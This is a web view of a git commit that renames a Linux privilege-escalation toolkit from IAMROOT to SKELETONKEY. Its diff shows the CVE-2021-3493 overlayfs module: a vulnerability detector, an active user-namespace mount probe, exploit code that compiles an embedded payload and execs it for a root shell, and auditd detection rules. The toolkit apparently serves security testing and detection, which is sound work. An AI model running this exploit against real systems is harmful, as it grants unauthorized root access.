rename: IAMROOT → SKELETONKEY across the entire project
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions

Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
2026-05-16 22:43:49 -04:00
parent 9d88b475c1
commit 9593d90385
109 changed files with 1711 additions and 1701 deletions
+1 -1
View File
@@ -14,7 +14,7 @@ Advisory: USN-4915-1 / USN-4916-1 (Canonical, April 2021).
Public PoC: vsh-style userns + overlayfs + xattr injection chain.
## IAMROOT role
## SKELETONKEY role
Detect parses `/etc/os-release` for `ID=ubuntu`, checks
`unprivileged_userns_clone` sysctl, and with `--active` performs the
@@ -1,12 +0,0 @@
/*
* overlayfs_cve_2021_3493 — IAMROOT module registry hook
*/
#ifndef OVERLAYFS_IAMROOT_MODULES_H
#define OVERLAYFS_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module overlayfs_module;
#endif
@@ -1,5 +1,5 @@
/*
* overlayfs_cve_2021_3493 IAMROOT module
* overlayfs_cve_2021_3493 SKELETONKEY module
*
* Ubuntu-flavor overlayfs lets an unprivileged user mount overlayfs
* inside a user namespace, then set file capabilities on a file in
@@ -30,12 +30,12 @@
* 1. /etc/os-release distro == ubuntu (the bug is Ubuntu-specific)
* 2. Kernel version is below the Ubuntu fix threshold for that
* release. We don't track per-release Ubuntu kernel version
* maps in IAMROOT yet; report VULNERABLE if Ubuntu kernel
* maps in SKELETONKEY yet; report VULNERABLE if Ubuntu kernel
* AND uname() version < 5.11 AND unprivileged_userns_clone=1
* AND overlayfs mountable from userns (active probe).
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -94,7 +94,7 @@ static int overlayfs_mount_probe(void)
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) _exit(2);
/* Build a minimal overlayfs in /tmp inside the child. */
char base[] = "/tmp/iamroot-ovl-XXXXXX";
char base[] = "/tmp/skeletonkey-ovl-XXXXXX";
if (!mkdtemp(base)) _exit(3);
char low[512], up[512], wd[512], mp[512];
@@ -119,12 +119,12 @@ static int overlayfs_mount_probe(void)
return WEXITSTATUS(status) == 0 ? 1 : 0;
}
static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] overlayfs: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Ubuntu-specific bug. Non-Ubuntu kernels are largely immune
@@ -134,7 +134,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs: not Ubuntu — bug is Ubuntu-specific\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* unprivileged_userns_clone gate */
@@ -144,7 +144,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] overlayfs: unprivileged_userns_clone=0 → "
"unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
@@ -161,14 +161,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] overlayfs: ACTIVE PROBE CONFIRMED — "
"userns overlayfs mount succeeded → VULNERABLE\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (probe == 0) {
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs: active probe denied mount — "
"likely patched / AppArmor block\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[?] overlayfs: active probe machinery failed\n");
@@ -185,14 +185,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] overlayfs: Ubuntu kernel %s in vulnerable range — "
"re-run with --active to confirm\n", v.release);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs: Ubuntu kernel %s is newer than typical "
"affected range\n", v.release);
fprintf(stderr, "[i] overlayfs: re-run with --active to empirically test\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Exploit (vsh-style) ----------------------------------------
@@ -278,28 +278,28 @@ static bool which_gcc(char *out_path, size_t outsz)
return false;
}
static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t overlayfs_exploit(const struct skeletonkey_ctx *ctx)
{
/* Re-confirm vulnerable. */
iamroot_result_t pre = overlayfs_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = overlayfs_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] overlayfs: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] overlayfs: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
char workdir[] = "/tmp/iamroot-ovl-XXXXXX";
if (!mkdtemp(workdir)) { perror("mkdtemp"); return IAMROOT_TEST_ERROR; }
char workdir[] = "/tmp/skeletonkey-ovl-XXXXXX";
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
if (!ctx->json) fprintf(stderr, "[*] overlayfs: workdir = %s\n", workdir);
char gcc[256];
if (!which_gcc(gcc, sizeof gcc)) {
fprintf(stderr, "[-] overlayfs: no gcc/cc — exploit needs to compile a payload\n");
rmdir(workdir);
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
char src_path[1100], bin_path[1100];
@@ -307,10 +307,10 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
snprintf(bin_path, sizeof bin_path, "%s/payload", workdir);
int fd = open(src_path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) { perror("open payload.c"); rmdir(workdir); return IAMROOT_TEST_ERROR; }
if (fd < 0) { perror("open payload.c"); rmdir(workdir); return SKELETONKEY_TEST_ERROR; }
if (write(fd, OVERLAYFS_PAYLOAD_SOURCE, sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)
!= (ssize_t)(sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)) {
close(fd); unlink(src_path); rmdir(workdir); return IAMROOT_TEST_ERROR;
close(fd); unlink(src_path); rmdir(workdir); return SKELETONKEY_TEST_ERROR;
}
close(fd);
@@ -432,7 +432,7 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
if (ctx->no_shell) {
fprintf(stderr, "[+] overlayfs: --no-shell — payload at %s, not exec'ing\n",
upper_bin);
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fflush(NULL);
execl(upper_bin, upper_bin, (char *)NULL);
@@ -443,7 +443,7 @@ fail_workdir:
unlink(src_path); unlink(bin_path); unlink(upper_bin);
rmdir(merged); rmdir(work); rmdir(upper); rmdir(lower);
rmdir(workdir);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* ----- Embedded detection rules ----- */
@@ -451,12 +451,12 @@ fail_workdir:
static const char overlayfs_auditd[] =
"# overlayfs userns LPE (CVE-2021-3493) — auditd detection rules\n"
"# Flag userns-clone followed by overlayfs mount + setcap-like xattr.\n"
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k iamroot-overlayfs\n"
"-a always,exit -F arch=b32 -S mount -F a2=overlay -k iamroot-overlayfs\n"
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
"-a always,exit -F arch=b32 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
"# Watch for security.capability xattr writes (the post-mount step)\n"
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k iamroot-overlayfs-cap\n";
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k skeletonkey-overlayfs-cap\n";
const struct iamroot_module overlayfs_module = {
const struct skeletonkey_module overlayfs_module = {
.name = "overlayfs",
.cve = "CVE-2021-3493",
.summary = "Ubuntu userns-overlayfs file-capability injection → host root",
@@ -473,7 +473,7 @@ const struct iamroot_module overlayfs_module = {
.detect_falco = NULL,
};
void iamroot_register_overlayfs(void)
void skeletonkey_register_overlayfs(void)
{
iamroot_register(&overlayfs_module);
skeletonkey_register(&overlayfs_module);
}
@@ -0,0 +1,12 @@
/*
* overlayfs_cve_2021_3493 — SKELETONKEY module registry hook
*/
#ifndef OVERLAYFS_SKELETONKEY_MODULES_H
#define OVERLAYFS_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module overlayfs_module;
#endif